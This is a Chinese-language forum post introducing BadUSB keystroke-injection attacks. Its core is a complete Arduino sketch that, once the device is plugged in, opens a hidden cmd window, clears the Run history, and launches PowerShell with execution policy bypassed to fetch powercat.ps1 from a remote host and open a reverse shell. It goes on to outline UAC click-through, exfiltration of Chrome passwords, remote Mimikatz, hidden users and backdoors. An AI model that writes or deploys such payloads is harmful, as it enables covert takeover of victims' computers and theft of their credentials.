Badusb初识

0x00 前言

​ 从暑期某集训中,偶然接触到赵师傅介绍的一种社工手段,badusb,不同于以前的那种U盘里带病毒,严格来说badusb不算是U盘,它也不提供存储功能。但是正因为它将恶意代码置于硬件中,使得杀软以及U盘格式化等防范措施都无效。

​ 赵师傅的badusb,自带了wifi模块,对于物理隔离的内网也能在插入badusb后建立网络与外界连通,这也提供了一种有效的打击隔离内网的社工方法。

​ 回去以后好奇买了一个玩玩,没有wifi模块,需要主机自带网络才能执行反弹shell等恶意操作。

​ 之前接触到的一个项目Chrome-Password-Dumper,其中利用了powershell脚本中的IEX (New-Object System.Net.Webclient).DownloadString(),实现远程获取powershell脚本并执行,真觉得它的功能强大(完美地贴合渗透..),正好可以利用于badusb中远程执行恶意脚本。

0x01 badusb介绍

​ BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

​ Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

0x02 获取途径

0x03 安装Arduino IDE

0x04 写入代码

反弹shell示例代码

#include <Keyboard.h>
void setup() {
    Keyboard.begin();//开始键盘通讯
    delay(3000);//延时
    Keyboard.press(KEY_LEFT_GUI);//win键
    delay(500);
    Keyboard.press('r');//r键
    delay(500);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    Keyboard.press(KEY_CAPS_LOCK); //大小写绕过可能存在的中文输入法
    Keyboard.release(KEY_CAPS_LOCK);
    delay(500);
    Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口
    //Keyboard.println("cmd.exe ");
    delay(500);
    Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
    delay(300);
    Keyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清除运行记录
    delay(500);
    Keyboard.println("POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xxx.xx.xx/powercat.ps1'); POWERCAT -c xx.xxx.xx.xx -p 43960 -e cmd");
    delay(500);
    //Keyboard.println("exit");
    //Keyboard.press(KEY_CAPS_LOCK);
    //Keyboard.release(KEY_CAPS_LOCK);
    Keyboard.end();//结束键盘通讯
}

void loop()//循环
{
}

工具 →获取开发板信息

在工具下选好开发板(上图的ArduinoLeonardo)和端口,编程器选择USBasp

然后 编译 上传 即可。再次插入Badusb即可实现按键模拟过程。

0x05 拓展

  • 反弹shell
    • 利用powershell,将恶意脚本挂载置vps,badusb写入反弹shell代码,其中可以利用 -WindowStyle hidden来隐藏脚本至后台运行,以及 -ExecutionPolicy Bypass来绕过脚本执行策略

POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://your_vps_ip/xxx/powercat.ps1'); POWERCAT -c your_vps_ip -p 9999 -e cmd

PS:遇到UAC(用户访问控制)这种,键盘模拟也可以绕过(说是绕过,其实就是操作键盘按键来选择赋权),比如CMD的管理员模式,可以win+r打开运行后,输入cmd,再按住Shift+Ctrl+回车即可以管理员启动cmd,同时控制好延时时间,对弹出来的UAC,按住Alt即可出现Y/N对“是/否”的选择。或者直接操作左键+回车都可以选择到“是”来打开管理员cmd

  • 结合Chrome-Password-Dumper,窃取chorme保存用户数据并传给远程服务器
    • 简单实现:chorme.ps 挂载vps,服务器挂python脚本监听端口
    • 也可以结合采用FTP,流量加密等手段完善攻击过程实现
  • Powershell-Mimikatz

    同上利用方式,badusb中模拟按键打开powershell远程下载Mimikatz脚本执行;适当修改其脚本添加转发功能即可实现远程dump-password。

  • 其他

    永久后门、当前用户修改密码、键盘记录、强制关机、添加隐藏用户、盗取wifi密码等等。由于powershell能够做的事太多了,所以基本上能想象的攻击操作都能够通过这种方式实现。

0x06 后记

​ Powershell脚本的强大在于它能够很好地兼容Windows, 能很好地用于渗透,不乏像【nishang】、【empire】这样的powershell框架,所以学好它,会利用好它很有必要。本篇只是提供Badusb这一种攻击面的介绍,顺带拓展出powershell脚本用于渗透攻击的方便性。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖